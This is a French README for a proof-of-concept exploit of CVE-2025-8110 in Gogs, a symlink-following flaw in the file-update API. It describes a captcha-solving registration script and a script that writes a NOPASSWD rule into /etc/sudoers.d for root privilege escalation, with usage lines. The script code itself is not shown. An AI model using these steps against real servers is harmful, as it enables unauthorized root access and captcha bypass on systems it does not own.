
Preuve de concept d'exploitation pour CVE-2025-8110 dans Gogs <=0.13.x, permettant un contournement authentifié des liens symboliques pour écrire arbitrairement des fichiers en tant qu'utilisateur du processus Gogs, conduisant à une élévation locale de privilèges.
Gogs <= 0.13.x. Un utilisateur authentifié commit un lien symbolique dans un dépôt, puis
appelle l'API « update file contents »
(PUT /api/v1/repos/<u>/<r>/contents/<path>). Gogs suit le lien symbolique et
écrit des octets contrôlés par l'attaquant vers la cible du lien avec les privilèges du
processus Gogs. Lorsque Gogs s'exécute en tant que root, il s'agit d'une écriture arbitraire de fichier root -
par exemple, déposer une règle NOPASSWD dans /etc/sudoers.d/ pour une élévation de
privilèges locale.
Signalé par Wiz Research.
CVE : CVE-2025-8110
python3 -m pip install requests pillow # gogs_register.py (OCR du captcha)
# plus un binaire `tesseract` dans le PATH (ou modifier le chemin R= dans gogs_register.py)
gogs_register.py - obtenir un compte authentifié en passant le captcha d'inscriptionpython3 gogs_register.py [nom_utilisateur] [mot_de_passe] # valeurs par défaut : pocuser / PocPass123!
# cible http://127.0.0.1:3001 - modifier B= pour une instance distante
gogs_symlink_root.sh - l'écriture par lien symbolique./gogs_symlink_root.sh <utilisateur-gogs> <mot-de-passe-gogs> [utilisateur-sudo]
# utilisateur-sudo par défaut : l'utilisateur courant ; écrit /etc/sudoers.d/<utilisateur-sudo>
# à exécuter sur l'hôte cible (git + curl disponibles, Gogs accessible sur 127.0.0.1:3001)
Pour des tests de sécurité autorisés et à des fins éducatives uniquement. À exécuter uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de tester.
Auteur : r3vpwnx